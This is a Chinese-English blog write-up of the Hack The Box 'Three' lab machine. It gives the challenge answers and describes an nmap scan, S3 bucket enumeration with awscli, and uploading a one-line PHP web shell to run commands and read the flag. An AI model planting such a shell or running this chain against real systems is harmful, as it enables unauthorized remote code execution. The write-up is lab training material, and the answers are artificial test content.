STARTING POINT - TIER 1 - Three

一、题目

TASK 1

How many TCP ports are open?
有多少个TCP端口是开放的?
答案:2

TASK 2

What is the domain of the email address provided in the "Contact" section of the website?
在网站的 "联系 "部分提供的电子邮件地址的域名是什么?
答案:thetoppers.htb

TASK 3

In the absence of a DNS server, which Linux file can we use to resolve hostnames to IP addresses in order to be able to access the websites that point to those hostnames?
在没有DNS服务器的情况下,我们可以使用哪个Linux文件来将主机名解析为IP地址,以便能够访问指向这些主机名的网站?
答案:/etc/hosts

TASK 4

Which sub-domain is discovered during further enumeration?
在进一步的枚举过程中,会发现哪个子域?
答案:s3.thetoppers.htb

TASK 5

Which service is running on the discovered sub-domain?
哪个服务是在被发现的子域上运行的?
答案:amazon s3

TASK 6

Which command line utility can be used to interact with the service running on the discovered sub-domain?
哪个命令行工具可以用来与运行在所发现的子域上的服务进行交互?
答案:awscli

TASK 7

Which command is used to set up the AWS CLI installation?
哪个命令用于设置AWS CLI?
答案:aws configure

TASK 8

What is the command used by the above utility to list all of the S3 buckets?
上述工具用于列出所有的S3桶的命令是什么?
答案:aws s3 ls

TASK 9

This server is configured to run files written in what web scripting language?
这个服务器被配置为运行用什么网络脚本语言编写的文件?
答案:php

二、过程

这里有点小坑s3试了好几次才可以,我这边等了半个多小时才起来
使用nmap对目标机器扫描
nmap -sVC 10.129.198.152

修改hosts文件,将邮箱域名部分绑定该目标机器IP

将s3子域加入hosts文件中,并访问s3子域

安装一下awscli管理 AWS 服务的统一工具,并进行配置
apt-get install awscli
aws configure

查询S3存储桶,查看存储桶内容
aws --endpoint http://s3.thetoppers.htb s3 ls
aws --endpoint http://s3.thetoppers.htb s3 ls s3://thetoppers.htb

编写命令执行页面,并上传到存储桶中
<?php system($_GET["cmd"]); ?>
aws --endpoint http://s3.thetoppers.htb s3 cp webshell.php s3://thetoppers.htb

访问刚刚提交的页面,并传入想要的参数进行查看
pwd
ls /var/www
cat /var/www/flag.txt

最后一部分可以写一个一句话木马上传,使用蚁剑进行连接查看flag

posted @ 2022-11-27 20:41  what0x  阅读(362)  评论(0)    收藏  举报